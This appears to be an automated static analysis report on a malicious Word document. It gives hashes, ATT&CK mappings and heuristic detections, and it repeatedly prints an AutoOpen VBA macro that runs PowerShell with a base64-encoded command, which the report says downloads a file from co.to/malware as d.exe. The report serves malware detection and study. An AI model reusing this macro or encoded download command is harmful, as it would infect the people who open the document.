Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 9708678f3833b51f…

MALICIOUS

Office (OOXML)

17.2 KB Created: 2021-06-08 04:55:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2021-06-20
MD5: 9a4b76811467bf07eeab9a7a36956e36 SHA-1: 07016e256dbecfc81e42bb82a2e3776034ca0451 SHA-256: 9708678f3833b51f32126414a7f219bfea5d5795c8e998987ae4c1cab853414f
352 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059.001 PowerShell T1059.003 Windows Command Shell T1566.001 Spearphishing Attachment

The sample contains a VBA macro that automatically executes upon opening. This macro utilizes cmd.exe to launch PowerShell, which then downloads a file from 'http://co.to/malware' and saves it as 'd.exe'. This indicates a downloader or droppper functionality, typical of initial-stage malware delivery.

Heuristics 9

  • ClamAV: Doc.Downloader.Pwshell-10001336-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Pwshell-10001336-0
  • VBA project inside OOXML medium 5 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    Sub AutoOpen()
Attribute AutoOpen.VB_Description = "Shell(""cmd.exe /c powershell.exe -ec aQB3AHIAIAAtAFUAcgBpACAAaAB0AHQAcABzADoALwAvAGMAbwAuAHQAbwAvAG0AYQBsAHcAYQByAGUAIAAtAFUAcwBlAEIAYQBzAGkAYwBQAGEAcgBzAGkAbgBnACAALQBPAHUAdABGAGkAbABlACAAZAAuAGUAeABlAA=="", 1)"
Attribute AutoOpen.VB_ProcData.VB_Invoke_Func = "Project.NewMacros.AutoOpen"
  • PowerShell reference in VBA critical OLE_VBA_PS
    PowerShell reference in VBA
    Matched line in script
    Sub AutoOpen()
Attribute AutoOpen.VB_Description = "Shell(""cmd.exe /c powershell.exe -ec aQB3AHIAIAAtAFUAcgBpACAAaAB0AHQAcABzADoALwAvAGMAbwAuAHQAbwAvAG0AYQBsAHcAYQByAGUAIAAtAFUAcwBlAEIAYQBzAGkAYwBQAGEAcgBzAGkAbgBnACAALQBPAHUAdABGAGkAbABlACAAZAAuAGUAeABlAA=="", 1)"
Attribute AutoOpen.VB_ProcData.VB_Invoke_Func = "Project.NewMacros.AutoOpen"
  • cmd.exe reference in VBA high OLE_VBA_CMD
    cmd.exe reference in VBA
    Matched line in script
    Sub AutoOpen()
Attribute AutoOpen.VB_Description = "Shell(""cmd.exe /c powershell.exe -ec aQB3AHIAIAAtAFUAcgBpACAAaAB0AHQAcABzADoALwAvAGMAbwAuAHQAbwAvAG0AYQBsAHcAYQByAGUAIAAtAFUAcwBlAEIAYQBzAGkAYwBQAGEAcgBzAGkAbgBnACAALQBPAHUAdABGAGkAbABlACAAZAAuAGUAeABlAA=="", 1)"
Attribute AutoOpen.VB_ProcData.VB_Invoke_Func = "Project.NewMacros.AutoOpen"
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Attribute VB_Name = "NewMacros"
Sub AutoOpen()
Attribute AutoOpen.VB_Description = "Shell(""cmd.exe /c powershell.exe -ec aQB3AHIAIAAtAFUAcgBpACAAaAB0AHQAcABzADoALwAvAGMAbwAuAHQAbwAvAG0AYQBsAHcAYQByAGUAIAAtAFUAcwBlAEIAYQBzAGkAYwBQAGEAcgBzAGkAbgBnACAALQBPAHUAdABGAGkAbABlACAAZAAuAGUAeABlAA=="", 1)"
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/inkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2017/model3dIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2018/wordml/cexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2016/wordml/cidIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2018/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2020/wordml/sdtdatahashIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 726 bytes
SHA-256: 1917e0a7432e918a73afe4131ed7bd34b84b8aeb42cd584dd923fc2a0d28fc50
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "NewMacros"
Sub AutoOpen()
Attribute AutoOpen.VB_Description = "Shell(""cmd.exe /c powershell.exe -ec aQB3AHIAIAAtAFUAcgBpACAAaAB0AHQAcABzADoALwAvAGMAbwAuAHQAbwAvAG0AYQBsAHcAYQByAGUAIAAtAFUAcwBlAEIAYQBzAGkAYwBQAGEAcgBzAGkAbgBnACAALQBPAHUAdABGAGkAbABlACAAZAAuAGUAeABlAA=="", 1)"
Attribute AutoOpen.VB_ProcData.VB_Invoke_Func = "Project.NewMacros.AutoOpen"
'
' AutoOpen Macro
'
'
Dim RetVal
'
'
'
'
End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 12800 bytes
SHA-256: 69d6518c6af9f98cbb1365cdafce5db3d5eb7cbeb1b77c0a5404af5aec78b8fc
Detection
ClamAV: Doc.Downloader.Pwshell-10001336-0
Obfuscation or payload: likely
Carved artifact contains 1 long base64-like blob(s).

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